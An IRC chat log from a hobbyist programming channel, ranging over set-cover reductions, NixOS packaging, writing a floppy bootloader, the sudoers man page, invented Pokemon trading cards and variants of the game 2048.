10:49:01 <Jafet> You could reduce this to weighted set cover by weighting each set {left_i, right_j} with the transition cost of left_i to right_j. The solution has to cover all {left_i} and all {right_j}.
10:49:52 <fizzie> There is a chronological order, but chronologically adjacent photos aren't especially similar here.
10:49:54 <Jafet> (Weighted set cover is NP-complete by reduction to integer programming.)
10:50:11 <int-e> Jafet: but ypu'll likely get a bunch of cycles that way.
10:50:48 <Jafet> That's true. I guess you can add ILP constraints to restrict those.
10:52:22 <Jafet> Apparently the correct name is exact set cover.
10:53:20 <Jafet> Why do we have so many names, anyway. They all have trivial reductions to ILP.
10:53:24 <int-e> (I would have made the same mistake, hence the smile.)
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10:59:41 <int-e> Jafet: I'm wondering about a (practically irrelevant) detail here. Assume we have an LP with integer variables but real coefficients. How big can an encoding of that using only integer coefficients be?
11:00:42 <int-e> (in practice we are usually happy with rational coefficients and the question becomes easy to answer)
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11:04:03 <Jafet> As we all know, real numbers are not real
11:05:02 <int-e> Ah, I can answer this; even with a single equation (to inequalities) the encoding can require arbitrarily large numbers, because with real coefficients, a single equation can encode a single integer point on a plane (or in Z^n if we wish).
11:05:23 <Jafet> Since the equations are linear, though, they are going to define a polytope. So you probably only need to consider something like the field extension Q[√x] for whatever real x you're using.
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11:06:21 <Jafet> So if you have an oracle for arithmetic in Q[√x1][√x2]...
11:06:56 <int-e> Note that I completely skirted the representation and computability issues.
11:07:27 <int-e> it was a stupid question because ILP can't express x >= sqrt(2)*y
11:07:47 <Jafet> What is the cost function?
11:08:02 <Jafet> (The best cost function for that would obviously be x - sqrt(2)*y)
11:10:48 <int-e> Ah. In my background we're just concerned with feasibility, so there is no cost function. It could be x - sqrt(2)*y and there could be additional constaints a <= x <= b to make it interesting (otherwise the answer will be 0).
11:11:10 <int-e> that is, (x,y) = (0,0) and cost = 0.
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11:16:13 <password2> did I just accidentally edit the noticE?
11:17:11 <int-e> If you mean the topic, then no, you did not.
11:17:19 <int-e> Otherwise I'm confused.
11:17:47 <password2> because i wanted to copy a url and i cut it , now my topic shows it without that url
11:18:56 <int-e> Just don't press enter in the topic field :)
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11:19:59 <int-e> In any case some kind soul would happily restore it for you if you mess up, I'm sure. So don't worry :)
11:25:38 <password2> I just don't like to create unnecessary effort for people
11:27:25 <password2> mmm , i see someone actually built a hoverboard
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12:11:04 <Vorpal> elliott, do you know of any other distro with a package system similar to NixOS, specifically the different versions in different places bit?
12:11:26 <Vorpal> Prebuilt packages preferably
12:11:31 <elliott> gobolinux. you probably don't want to use it. use nixos instead
12:11:49 <Vorpal> Doesn't nixos use source packages?
12:12:18 <elliott> it has cached binary packages
12:12:24 <elliott> obviously if you customise packages they will hvae to be built
12:12:30 <elliott> because no binary with a matching hash will exist
12:12:50 <elliott> well you won't get any binaries on arm I don't think.
12:12:52 <Vorpal> I forgot which one is which
12:13:07 <elliott> https://nixos.org/wiki/Raspberry_Pi
12:13:36 <Vorpal> elliott, yeah lack of prebuilt will be a killer for RPi sadly
12:13:47 <elliott> you can cross-compile the binaries from any other linux host
12:13:51 <elliott> that should be very easy with nix
12:14:08 <Vorpal> Hm, I had issues cross-compiling in general for non-trivial stuff
12:14:25 <Vorpal> The best thing I managed was distcc to a cross toolchain, which makes configure and such slow still
12:16:46 <Vorpal> have you used nixos yourself as a primary OS on a computer (rather than for just playing around with)?
12:17:15 <elliott> no but I did a lot of research into doing so a few times
12:17:38 <elliott> you don't want my real-world distro usage, I have also used windows as a primary OS within the last year
12:18:01 <Vorpal> So, what did you find? Last time I checked I found the existing package repo... somewhat lacking. Sure I could package a lot of software myself, but that takes time, and so does ensuring that it is up-to-date.
12:18:46 <Vorpal> I don't expect it to compare to debian or ubuntu, but hopefully most of what I want should just be there.
12:19:18 <elliott> the package base is okay for a niche distro, it's not that hard to package stuff (and you can just submit it upstream), shrug
12:22:08 <Vorpal> Yeah NixOS on RPi seems annoying
12:24:55 <Vorpal> elliott, so, out of interest, what is wrong with gobolinux?
12:25:20 <elliott> why use something even more niche than nixos that has almost none of the benefits
12:25:45 <elliott> and do you really want $HOME to start with /Users
12:26:09 <elliott> /System/Links/Headers ~~so beautiful~~~
12:26:16 <Vorpal> Looks like OS X at that point
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12:29:52 <password2> i wonder what eso lang i should try next
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12:30:37 <Vorpal> password2, since you use xchat you could also have restored your client's copy of the topic by doing a plain "/topic" without any parameters
12:30:53 <Vorpal> password2, which ones have you tried?
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12:31:15 <password2> i have tried brainfuck , and even added onthere instruction
12:32:13 <Vorpal> What about underload, or befunge? Both are quite different languages from bf at least
12:34:11 * boily shouts “AUBERGINE!” :D
12:34:48 <Vorpal> boily, need to check that one out myself
12:36:47 <password2> i think i'll play around witf bf a bit more first
12:38:40 <passwordBOT> 0 |0| 3 7 14 21 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
12:45:44 <boily> (meanwhile, oh fungot. I was paying my ISP bill on the banking site. clicked the confirm button, then 500 internal server error. oooooh fsck.)
12:45:44 <fungot> boily: agora alice c64 ct darwin discworld europarl ff7 fisher ic irc* jargon lovecraft nethack pa speeches ss wp
12:50:12 <Vorpal> boily, lets just the database is ACID
12:51:09 <Vorpal> It certainly should be
12:51:20 <Taneb> https://sphere.chronosempire.org.uk/~HEx/8402/ reverse 2048
12:51:23 <boily> I relogged in, then checked the transaction history. the attempt was absent, so I tried it again, and it went through.
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13:02:28 <fungot> ket1v: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: http://esolangs.org/wiki/Main_Page. (For the other kind of esoterica ...
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13:04:28 <int-e> I really like how mtgox found heaps of coins in the electronic equivalent of the back of a drawer :)
13:06:44 <Vorpal> int-e, oh? Recently? Last I heard of the story, they went bankrupt
13:07:43 <int-e> sometime this weak
13:07:52 <Vorpal> Yeah found a news article
13:08:10 <Vorpal> Also scary that they could have missed it in the first place
13:12:12 <int-e> I wonder whether they found any black lotus cards or similarly expensive cards, too.
13:13:07 <boily> ~duck blacker lotus
13:13:25 * boily notes that the cuttlefish should fetch info from gatherer too...
13:13:57 <int-e> (I never bothered to research how a mtg card exchange became - at some point in time - the biggest online market for bitcoins, but the idea is ridiculous to me.)
13:14:30 <boily> the idea is very interesting.
13:15:01 <boily> also, this land's price is currently floating at around a hundred bucks → http://magiccards.info/query?q=misty&v=card&s=cname
13:15:24 <int-e> boily: You know what MtGoX originally stood for, right?
13:15:36 <int-e> (not sure about capitalization)
13:15:49 <boily> the power nine or something like that?
13:16:13 <int-e> It was an MtG Online eXchange.
13:16:49 * boily is enlightened by the sudden revelation *angel and dæva chorus ♪*
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13:30:43 <Slereah_> Any idea why this bootloading attempt does not load boots?
13:30:44 <elliott> int-e: it was really just a reused name, afaik.
13:31:02 <elliott> it never really was an actual MTG exchange, to my knowledge?
13:31:07 <elliott> at least not one beyond prototype stage
13:31:11 <elliott> it just got scrapped and reused for bitcoins later.
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13:31:35 <Slereah_> Just trying to load in memory at 0x8000:0x0000 some code to make the screen white
13:36:35 <boily> elliott: don't go and break the effect of my background choir hth
13:54:06 <Slereah_> Apparently boot sector is sector 1, not 0
14:00:18 <Slereah_> Code still doesn't work though.
14:00:26 <Slereah_> Second sector starts at 0x200 right?
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14:27:13 <int-e> Slereah_: how are you testing this?
14:27:36 <Slereah_> Floppy image put in virtual box
14:28:18 * int-e found with dosbox that the image has to have the right size. 180kiB works.
14:32:55 <Slereah_> http://pastebin.com/ajGQ42ii < all workin'
14:33:35 * int-e ended up with http://sprunge.us/iiQB
14:35:06 <int-e> urgh. s/%/#/g in there. stupid last minute changes
14:37:17 <Slereah_> I guess I could put my Pong code afterwards
14:38:46 <int-e> I did figure out the sector number mistake quite soon, but the floppy image was too small, and dosbox didn't complain about it. It loaded the first 512 bytes as the boot sector, but the disk reading call would fail. Took me a while to figure that out.
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14:42:28 <int-e> Another mystery is that the code stops working if I load the second sector to 0x7000:0 ... huh.
14:51:53 <int-e> but that appears to be dosbox' fault.
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15:04:15 <int-e> ooh. damn, I should initialise the stack before using it. dosbox apparently used 0x7000:0x100 ...
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15:12:14 <int-e> Hah. http://sourceforge.net/p/dosbox/code-0/3808/tree//dosbox/trunk/src/dos/dos_programs.cpp has a comment on it. It says: '/* set up stack at a safe place */'. That's what I thought, too... "load sector to a safe place".
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15:28:05 <int-e> Somewhat Secure SHell?
15:32:30 <password2> more like , stop talking bout things i dont know
15:34:34 <password2> this room continually surprises me bu the conctend being discussed
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16:10:04 <fizzie> Oh, regarding yesterday's problem with MATLAB and an invertible matrix with det(m) == 0; someone had switched things from double to single precision. The problem went away after switching back to double.
16:10:26 <fizzie> There was even a comment saying something to the tune of "single precision gives same results but faster".
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16:23:20 <oklopol> did you tell him he's an idiot
16:28:41 <fizzie> He had already left for the day, so I'll have to wait until Monday for that.
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17:05:36 <newsham> fizzie: dont you get big inaccuracies when det(m) is very close to zero?
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17:11:11 <fizzie> It's not very close to zero if I use double-precision processing elsewhere in the code.
17:11:30 <fizzie> Well, depending on what "very close" means; it's 0.0185 for the test case where I noticed the problem.
17:11:42 <fizzie> (That's not so close.)
17:12:25 <fizzie> (It's not really my code, so I don't know all the details of it.)
17:30:05 <Vorpal> ouch, the sudoers man page is really terrible. Way too much work to read to figure out a simple "how do I let this user run exactly this command" for example. Wasn't there a recent xkcd about that iirc?
17:30:38 <Vorpal> Well I'm resorting to "I remember doing this once before, lets find out on which system and then copy & adapt"
17:31:14 <int-e> Vorpal: are you reading xkcd? ( https://xkcd.com/1343/ ... image title)
17:31:34 <Vorpal> int-e, ah yeah that one. Fairly recent iirc?
17:32:45 <Vorpal> int-e, I blame my hazy memory on having a really bad cold from monday evening until thusday. Probably norovirus (I believe it is called in English)
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17:34:20 <int-e> Vorpal: My thought was "this is the second complaint about the sudoers manpage that I've seen in the last couple of days" and then I followed that thread.
17:34:40 <Vorpal> int-e, right. But it is actually terrible
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17:37:53 <fizzie> It's terrible, but "skip directly to EXAMPLES" is a workable strategy when dealing with it. (And even there, one has to skip over all those alias definitions.)
17:38:57 <Vorpal> fizzie, as long as there is an example that works for your case
17:39:05 <Vorpal> otherwise, you are in a LOT of problems
17:40:10 <fizzie> Sure, but there certainly are some examples you can adapt for "let one user run one command". (Okay, the behaviour w.r.t. command line arguments is slightly hard to derive from the examples.)
17:40:33 <Vorpal> fizzie, that is the thing I need though :/
17:41:02 <fizzie> Well, it's not entirely impossible to guesstimate something that works from the "pete" example.
17:41:27 <fizzie> Or at least when combined with the "joe" one.
17:41:50 <fizzie> (Actually, just "joe" directly.)
17:42:05 <Vorpal> Also the fucking host part, I never figured that one out really
17:42:05 <fizzie> "joe ALL = /usr/bin/su operator -- The user joe may only su(1) to operator."
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17:45:35 <fizzie> The BNF-based documentation could probably be improved a lot by just rearranging it more logically.
17:46:56 <fizzie> As it is, it needs quite a lot of spelunking to even figure out that one of those actual interesting lines -- like that "joe ALL = /usr/bin/su operator" -- is an instance of (the rather badly named) "User_Spec".
17:49:26 <fizzie> EBNF, and there's quite a lot of text too, it's just all meshed up.
17:49:43 <Phantom_Hoover> hahaha they define ENBF, then define the syntax by means of ebnf
17:49:59 <fizzie> Yes, that's I guess what the xkcd joked about.
17:50:43 <fizzie> Given all that formalism, it's quite funny that it doesn't have a start symbol that'd define what an entire "sudoers" file consists of.
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17:53:03 <fizzie> (That part is specified in prose. "The sudoers file is composed of two types of entries: aliases (basically variables) and user specifications (which specify who may run what). There are four kinds of aliases: User_Alias, Runas_Alias, Host_Alias and Cmnd_Alias." And then you can start getting deeper based on those four terms, and guess that since User_Spec is defined as the first line of the ...
17:53:08 <fizzie> ... "User specification" section, that's the syntax for a single entry.)
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17:56:45 <fizzie> Alias ::= 'User_Alias' User_Alias (':' User_Alias)* | ... reusing the name of the nonterminal as part of the concrete syntax might also have not been the best choice, especially when not all occurrences of the concrete string are quoted.
18:24:40 <Vorpal> elliott, well I played around a bit with the nixos virtual appliance thing they have on their web-site. Still not quite there for me. Spent 45 minutes on trying to make my fontconfig settings take effect (KDE settings, ~/.fonts.conf, ~/.Xresources, asking NixOS IRC channel). About to give up
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18:26:50 <Vorpal> elliott, still, I love the concept of the OS, will probably revisit it in the future
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18:29:34 <Vorpal> Phantom_Hoover, a really interesting linux distro. Ask elliott about the package manager. Kind of in 2 other conversations already so...
18:30:40 <elliott> I happen to be in two conversations, too!
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18:36:11 <int-e> of course nixos has a website which may already answer your questions
18:38:15 <elliott> int-e: yeah but this channel is the premium interactive version of the web.
18:39:04 <int-e> I'm just doing my part by stating the obvious. :-P
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18:54:49 <int-e> Phantom_Hoover: don't worry, your bill will be in the mail.
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20:30:59 <zzo38> I wrote some made-up-Pokemon-card. One of them is: [TRAINER] Play an evolution card in opponent's trash onto a card on his side which it can evolve from.
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20:33:29 <zzo38> Another one is: Put a card from your hand or trash or an energy card attached to one of your pokemon with your side cards. (Cannot be used if you already have 6 side cards.)
20:33:47 <zzo38> Do you like these thiings?
20:36:31 <zzo38> First one is similar to POKEMON FLUTE but it is for evolution cards instead. It might prevent opponent from attacking/retreating due to lack of energy cards, or affect their powers, or can change their weakness/resistance.
20:38:00 <ais523> the first one seems weak to me
20:38:12 <ais523> many decks don't really play evolution cards
20:38:14 <ais523> and even if they do, they may not end up in trash
20:38:22 <ais523> it might work if you could search your opponent's deck for one
20:38:52 <ais523> Deewiant: (re your message) yes, that's believable, and unfortunate
20:38:58 <zzo38> OK, although remember these are designed for the old game, not the modern one.
20:39:07 <ais523> people used evolutions even less in the old game
20:39:22 <ais523> one of the best decks was one that just played as many high-HP basics as possible
20:39:43 <zzo38> Although yes, allowing to search in their draw pile as well as trash would certainly make it more powerful.
20:40:11 <ais523> "side cards" = Prize cards?
20:40:21 <zzo38> ais523: Yes it is another name for that
20:40:32 <zzo38> Not playing many evolution cards also would seem good for drafts and stuff like that
20:40:57 <ais523> that second trainer seems very weak, especially because it doesn't do anything else
20:41:02 <ais523> like, not only do you go down a Prize
20:41:10 <ais523> you also have to play the card itself
20:41:18 <ais523> if it also drew you a card, then that would be less bad
20:41:31 <ais523> and maybe it'd be used by a deck that wanted the effect
20:43:33 <zzo38> Actually it can help in the right circumstancse if you don't also draw a card. One thing you can get the card back, but maybe you also want to get rid of the card from where it currently is In the right circumstances it can be of much help, if your strategy is around getting the card you need, otherwise you may lose time and the opponent may gain time.
20:43:34 <Deewiant> ais523: Relatedly, doing the encode fully in memory is somewhat uncomfortable with multi-gigabyte outputs like that (especially with Java's annoying -Xmx setting requirement to actually use available RAM)
20:44:00 <ais523> Deewiant: I didn't actually realise that people would produce multiple-gigabyte outputs with jettyplay
20:46:10 <ais523> anyway, jettyplay allows pluggable container formats
20:46:11 <zzo38> POKEMON FLUTE can be helpful to get opponent's cards that have powers that benefit you. It can also help if it is a card with a high retreat cost, use GUST OF WIND to activate it and stop them from retreating, especially if you have card that can attack bench pokemon cards.
20:46:12 <Deewiant> Oh, it also crashed quite quickly when using 720p without ZMBV, hang on
20:46:13 <ais523> just AVI is the only one I implemented
20:46:23 <ais523> and yeah, that's pretty much inevitable
20:46:28 <ais523> that's just running out of memory to store uncompressed video
20:46:37 <ais523> really, the raw option's only there because I implemented it first for testing
20:46:38 <Deewiant> No, I mean like on the first frame or so
20:46:50 <Deewiant> Hang on while I try to reproduce
20:46:50 <zzo38> This one with evolution cards, you could evolve opponent's cards to increase their retreat cost, but also to affect their weakness/resistance, for example EEVEE evolving into many different card with different weakness/resistance.
20:47:17 <Deewiant> ais523: java.lang.IllegalArgumentException: Pixel stride times width must be less than or equal to the scanline stride
20:47:34 <Deewiant> On frame 2, actually, according to the dialog
20:47:43 <Deewiant> Or then it's frame 1 and it updated the dialog early
20:48:18 <zzo38> Some cards although ordinarily don't help much, can be extremely good in the correct circumstances.
20:49:40 <ais523> zzo38: and such cards normally aren't worth the opportunity cost of drawing them
20:50:15 <zzo38> Depending on the rest of the cards in the deck, they can be; I have had these experiences a lot.
20:50:29 <Deewiant> ais523: Irrelevant of resolution actually too, I only tried 720 earlier
20:50:39 <zzo38> Also if you are playing some kind of draft formats or other ways the cards are randomized, you may get it anyways.
20:50:49 <ais523> Deewiant: oh that makes more sense, it's probably something simple then
20:50:55 <zzo38> The second card I listed can be very good if you are able to knock out opponent's pokemon card on your turn.
20:51:13 <zzo38> Knocking out bench pokemon card is best so that they cannot freely switch to another active card.
20:52:36 <zzo38> Of course evolution cards are more difficult to play in a drafted game, unless you modify the rules so that they can still be played effectively.
20:59:46 <zzo38> Some cards have some uses which are situational and some are common. Some cards have some uses which have situations which are common enough. Some cards which are good in some situations, can be good with situations involving your own cards, which is good, but then there may also be situations based on opponent's cards, which helps even more.
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21:03:10 <zzo38> DIGGER can be good in a situation where your attacks do more damage with more damage on you.
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21:11:05 <zzo38> GOOP GAS ATTACK can be good to get rid of opponent's powers, but it is especially good if you also have some cards with your own powers which affect both players; you can then cancel those powers too.
21:14:31 <int-e> so can you build a turing machine with them?
21:16:02 <int-e> (this question was inspired by http://www.toothycat.net/~hologram/Turing/ )
21:16:11 <zzo38> Yes I have seen that.
21:19:48 <zzo38> I have a Team Rocket strategy guide for Pokemon Card. It is really terrible; they totally neglect defense and sacrifice, and miss a lot of other things. They say CHALLENGE! is really good, but I don't think so.
21:20:58 <zzo38> One thing they don't mention is that if you have DARK VAPOREON [Lv.28], and your opponent has a card with high retreat cost and high attack cost, it can very good. Especially, if you also have GENGAR [Lv.38] then you can move damage onto their bench pokemon cards instead.
21:22:01 <zzo38> I think it might be a bit more useful if DARK VAPOREON [Lv.28]'s second attack did less damage, though.
21:29:30 <zzo38> GUST OF WIND is a very good card in a lot of situations (just ensure you don't waste it). You can eliminate the opponent's strong attacking card (possibly before they get a chance to attack, evolve, or use a power). You can select a card with high attack and retreat costs in order to gain time. If you are close to winning, you can even use it to activate a card you can easily knock out. And yet there are many more possibilities!
21:31:17 <zzo38> It is also often a good idea to not knock out opponent's active pokemon cards, although this depends a lot on the circumstances.
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21:52:41 <zzo38> I suppose it should not be surprising that the strategy guide neglects defense; another book I have says the same thing about books about chess. However, it still also fails to mention various other things too, so that isn't entirely it.
21:55:39 <fizzie> Since I talked about that photo thing here, here's a quick average of all 25 photos I have so far (with histogram equalization to make it a bit less bland): https://dl.dropboxusercontent.com/u/113389132/Misc/20140322-align.jpg
21:55:49 <fizzie> Will play around with the column thing later.
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22:00:16 <Sgeo> zzo38: do you have to be JOHN to play GUST OF WIND
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22:16:46 <fizzie> Also: https://dl.dropboxusercontent.com/u/113389132/Misc/20140322-align2.jpg
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22:47:19 * Sgeo goes to watch The Best of Both Worlds
22:50:27 <zzo38> Why does the Windows font viewer use "The quick brown fox jumps over the lazy dog" for some fots and "Jackdaws love my big sphinx of quartz" for some fonts?
22:50:48 <zzo38> (Both sentences are pangrams, but I don't know why it has two)
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23:38:42 <fizzie> zzo38: Have you discovered some kind of pattern in the fonts where it chooses one or the other, e.g. about their format?
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23:53:20 <zzo38> fizzie: I tried to, but didn't find any.
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00:41:24 <oerjan> boily: https://en.wikipedia.org/wiki/Anzu_(dinosaur) hth
00:41:50 <oerjan> @tell boily https://en.wikipedia.org/wiki/Anzu_(dinosaur) hth
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00:55:55 <zzo38> I happen to think the second card I listed that I made up is really pretty good. You can use it with GENGAR [Lv.38] and possibly pick up the card before the end of your turn. You can also use RATTATA [Lv.12] and then pick up the card next turn! You can also use it if you want to recycle a special energy card, get rid of a card in your hand, or other purposes.
00:56:31 <zzo38> There are some opponent's cards that might cause damage based on how many side cards you have already picked up, so perhaps you can defend against such thing.
01:02:12 <boily> oerjan: hellørjan!
01:02:17 <lambdabot> oerjan said 20m 27s ago: https://en.wikipedia.org/wiki/Anzu_(dinosaur) hth
01:02:54 <boily> oerjan: uhm. why are you dinosauring me? twh
01:03:27 <oerjan> boily: i hear you're interested in chickens hth
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01:06:34 <boily> oerjan: it may be the case tdh
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01:17:28 <kmc> http://gaming.stackexchange.com/questions/161098/when-is-it-numberwang
01:20:21 <ais523> that question is more sensible than I was hoping :-(
01:20:31 <ais523> I take it that 2048 variant doesn't actually have a win condition?
01:20:37 <ais523> (actually, "reach 2048" would almost make sense)
01:20:54 <ais523> also, 2048 disappoints me, in that I feel that it's reasonable for there to be a 100% reliable strategy, yet apparently there isn't
01:22:57 <shachaf> i think if there was a no-op move it would maybe be much easier
01:23:03 <ais523> also it has the permadeath difficulty curve trap
01:23:41 <ais523> shachaf: the official version doesn't work on my computer, so I've been playing the js1k version (in 2048 bytes) that never adds 4s, and adds a 2 when you perform a move that moves nothing
01:23:49 <ais523> in addition to when you perform a move that moves something
01:23:56 <oerjan> ais523: what's the permadeath difficulty curve trap
01:24:00 <ais523> even though that's much easier
01:24:17 <ais523> oerjan: when you make the game get harder as it goes along, with the start trivial
01:24:20 <ais523> in a game with permadeath
01:24:34 <ais523> it means every time you screw up you have to play through like half an hour of nothing much happening
01:24:45 <elliott> the correct curve is downwards
01:24:46 <oerjan> ais523: tetris also does that fwiw
01:25:07 <elliott> btw this is a weird thing for you to say given that this is one of crawl's most obvious differences from nethack
01:25:11 <ais523> in Tetris it's less bad because a) you can start at a higher difficulty, b) the goal is to last as long as possible, rather than reach a set location
01:25:19 <ais523> elliott: Crawl and NetHack both curve downwards, though
01:25:37 <ais523> what did you think the difference was?
01:25:46 <oerjan> back when i played, i usually started at the second last difficulty level
01:26:23 <ais523> also, many versions of Tetris have a set-length mode, and those modes normally don't get more difficult over time
01:26:27 <oerjan> since the last one was impossible to keep up for any length of time, while starting as high as you could gave the most points
01:26:30 <ais523> (in fact, they get easier as you clear garbage blocks)
01:26:53 <ais523> also I used to play Tetris on the secret difficulty 19 for a while, before going back to 9 for actual play
01:27:20 <ais523> I'm no good at 19, but it got me in the right mindframe for playing something much easier by comparison
01:27:28 <ais523> there's an extra set of difficulties above 9 on the Game Boy version
01:27:35 <ais523> hold, umm, I think it was Down at the title screen
01:27:52 <ais523> it just displays the last digit (and a heart sign), but they're all much faster
01:28:39 <oerjan> ais523: something interesting about 2048 is that if you play well the difficulty fluctuates by dropping down when you round a new block size
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01:28:59 <ais523> oerjan: yes, although having a very full board also reduces the difficulty
01:29:03 <ais523> in that everything becomes predictable
01:29:12 <ais523> as long as you're using a version that doesn't drop 4s, anyway
01:32:25 <oerjan> i suspect if you had only 2's then there _might_ be a more obvious perfect play
01:32:28 <ais523> one simple way to look at it is that 2048 on a 16x1 board, the only time things go wrong is when you're forced to press the forbidden direction (there are only two)
01:32:36 <ais523> probably even with 4s dropping
01:33:09 <ais523> unless 2s and 4s decide to drop alternating, but you can't do much about that
01:33:16 <oerjan> oh hm right when they are placed next to where you want them.
01:33:50 <oerjan> something vaguely similar to what i said
01:34:11 <ais523> yeah, I think I know what you mean even though it's nothing like what you said
01:37:30 <shachaf> ais523: at which number would you stop expecting there to always be a reliable strategy?
01:37:51 <shachaf> anyway, this js1k version is indeed much easier, except for the flickering
01:38:17 <ais523> that's a good question, possibly 1024
01:38:54 <shachaf> Also, why doesn't it work on your computer?
01:39:07 <ais523> and no idea, the controls just don't work
01:39:10 <shachaf> On my old computer with an old browser, it fails because something has a "continue" attribute.
01:39:16 <shachaf> Oh, but it does draw the numbers?
01:39:35 <ais523> I only tried twice, a while back
01:39:54 <ais523> incidentally, someone used a bot that uses alpha-beta search to try to minimize the impact of bad luck
01:40:06 <ais523> playing an uncapped version, it got a 2048 and 4096 on the same board
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02:01:00 <zzo38> What are the proper archive types for the -t option in 7-Zip?
02:01:28 <zzo38> I know what archive types it supports but I don't know what name to use with the -t option to specify them
02:02:30 <zzo38> Specifically if I have a self-extracting archive I want to be able to tell it whether I want to load it as a ZIP or as a EXE
02:04:48 <zzo38> -texe doesn't seem to work.
02:09:49 <zzo38> (7-Zip does support a lot more file types than it documents: It can extract sections from Windows .EXE files, as well as DOCFILE chunks (which are used mainly in Microsoft Office), and a number of other things.)
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02:20:26 <kmc> zzo38 does
02:20:40 <myname> i forgot, the guy that writes dos games
02:21:12 <lexande> does zzo38 live in portland
02:21:40 <ais523> he or she is at Canada
02:22:00 <ais523> and has an interesting and unique view on the world
02:22:10 <myname> i mean, seriously, even windows xp which is over 10 years old can handle zip files
02:22:31 <myname> zzo38: where are my donuts?
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02:22:34 <ais523> zzo38 can be pretty interesting to talk to
02:22:41 <ais523> and has useful views on things
02:22:42 <Taneb> Antonym of "destination"?
02:22:47 <ais523> you have to deal with the lack of context, though
02:22:55 <ais523> Taneb: "source", in programming
02:23:09 <ais523> for journeys, I'm less certain
02:23:15 <ais523> "starting point"? "origin"?
02:24:15 <myname> so... antonym is a synonym of opposite?
02:25:05 <ais523> it's also an opposite of "synonym"
02:25:17 <Taneb> myname, in one sense, yes
02:25:52 <lexande> zzo38: what is your origin story? how did you get your powers?
02:26:14 <myname> ais523: the opposite of synonym is the synonym of opposite
02:26:19 <ais523> also, please don't pick on him
02:26:36 <ais523> the rest of the Internet does enough of that
02:26:56 <myname> lexande: you now zzo is pretty zzoic?
02:27:41 <lexande> yes but what do you mean by "zzoic"?
02:28:05 <kmc> I think we should stop talking about zzo38 until he's had time to tell his origin story
02:28:10 <myname> what's that bot's trigger for zzo?
02:29:02 <ais523> it feels unfair picking on someone who isn't here (in fact, it's unfair to pick on someone even if they are here)
02:29:27 <myname> well, i do think he's a great guy
02:30:24 * Sgeo vaguely wonders what people say behind his back
02:31:37 <ais523> Sgeo: the channel's logged, you can look it up if you like
02:34:42 <lexande> i guess wisdom has origin stories for most people here
02:35:06 <shachaf> i don't know my origin story
02:35:52 <myname> what defines an origin story in this context?
02:35:52 <Sgeo> Are there groups of people who don't think their preferred activity is the best thing to teach kids? As in, chess players encourage people to play chess, programmers think programming classes are a great idea, some violinists has this on her page: "On October 1, 2013, Stirling teamed with the non-profit Atlanta Music Project to help spread appreciation of music to children who might not otherwise have the chance. The Atlanta Music Project's
02:35:52 <Sgeo> mission was "to inspire social change by providing Atlanta's under-served youth the opportunity to learn and perform music in orchestras and choirs.""
02:36:07 <kmc> porn stars
02:36:31 <myname> Sgeo: i don't think programming classes are a great idea
02:38:22 <lexande> kmc: porn stars probably tend to support better sex ed?
02:38:43 <myname> with educational videos and stuff
02:38:48 <lexande> which is in that direction at least
02:40:05 <ais523> politicians don't generally try to teach schoolchildren politics, do they?
02:40:13 <ais523> especially given that they actually have the ability to do so
02:40:29 <ais523> at least in the UK, where they have some input into the required curriculum that must be taught to all children
02:40:48 <ais523> the nearest we come to that is Citizenship, which doesn't actually work as a subject
02:40:54 <ais523> given that most teachers don't take it seriously
02:41:06 <ais523> and even that's a pretty recent innovation
02:41:24 <ais523> admittedly, I'd have found that a really useful subject if it were actually taught well
02:41:50 <myname> i do think most politicians with that influence have an easier life with people not knowing stuff about politics
02:42:24 <zzo38> lexande: What powers? What origin story?
02:44:11 <kmc> I think that's the question for you
02:45:33 <zzo38> While Windows XP has support for ZIP archives, it isn't very good, since for one thing it isn't supported on command-line access (although for GUI, the built-in ZIP support is good enough)
02:57:48 <Sgeo> 'They're called "alpha males" because they're broken, primitive, buggy versions of real humans.'
02:58:56 <kmc> meh let's not get all eye for an eye on dehumanization
02:59:00 <kmc> that seems like it will end badly
03:01:47 <quintopia> i got stuck playing the fibonacci version of 2048 for hours friday night, and here you're talking about it again, teasing me with it.
03:02:31 <kmc> doge-mille-quarante-huit
03:02:32 <ais523> is the fibonacci version mathematically equivalent, or actually different?
03:02:58 <ais523> also, I'm not quite sure how games get this popular so quickly
03:03:05 <quintopia> ais523: it's the same game, but it takes one less tile to get each number
03:03:23 <ais523> someone will have to explain flappy bird to me someday, I know that it was some sort of widely popular game thing thas was easy to implement
03:03:44 <quintopia> http://mike199515.free3v.com/1597/2.htm
03:03:51 <myname> ais523: it is like that crappy helicopter games years ago
03:04:08 <quintopia> ais523: press a button to make the thing jump up a bit, then it falls down
03:04:31 <ais523> does the bird move left and right? or do the obstacles?
03:04:48 <ais523> that game has been around for ages
03:05:11 <quintopia> ais523: yes but kids weren't killing each other over high scores until recently
03:05:11 <myname> each version of the game is equally crappy
03:05:14 <ais523> I seem to remember one of the microgames in one of the Warioware game worked like that, except with blowing into the controller
03:05:18 <myname> it only differs in how hard it is
03:05:39 <ais523> but then, the entire way Warioware works is to have a huge number of games that are individually crappy, but each one only lasts three seconds so who cares
03:05:55 <ais523> also, in that time period, you have to deduce the rules of the game, in addition to completing it
03:06:14 <ais523> it gets less interesting once you have them all memorized
03:06:32 <quintopia> this is the decent one: http://techcrunch.com/2014/02/12/canabalt-super-hexagon-flappy-bird/
03:07:11 <myname> even impossible game is waaaaaaay better than flappy bird
03:07:29 <kmc> super flappy angry doge 2048
03:07:43 <ais523> so I guess the next problem is "how do you make an easy-to-program game that randomly becomes wildly popular overnight?"
03:07:58 <kmc> it's webscale
03:08:31 <quintopia> but then better games tend to become wildly popular more often, so that's the better route
03:08:32 <ais523> I don't think Flappy Bird had marketing
03:08:44 <quintopia> like frex QuizUp...do you know anyone who doesn't have that game?
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03:08:51 <Sgeo> I have a game I made in C# that I should convert to flash
03:08:53 <ais523> quintopia: I've never heard of it
03:09:11 <myname> quizduell became pretty popular here
03:09:13 <kmc> flash is a dead end technology
03:09:17 <kmc> plus it sucks
03:09:20 <ais523> I think there's at least two Flash to HTML5 compilers going around atm
03:09:26 <zzo38> Convert the game into different format, such as iNES format
03:09:28 <kmc> does that include shumway?
03:09:28 <ais523> no idea how well they work
03:09:34 <kmc> not sure whether that counts as a "compiler" or not
03:09:52 <quintopia> so why aren't you all playing 2584
03:10:02 <zzo38> myname: A format for storing ROM images of NES/Famicom cartridges.
03:10:17 <Sgeo> Robozzle was briefly popular here for a while
03:10:21 <myname> quintopia: i actually like it more than 2048, but 2048 already bored the shit out of me
03:10:37 <Sgeo> But it's Silverlight :/
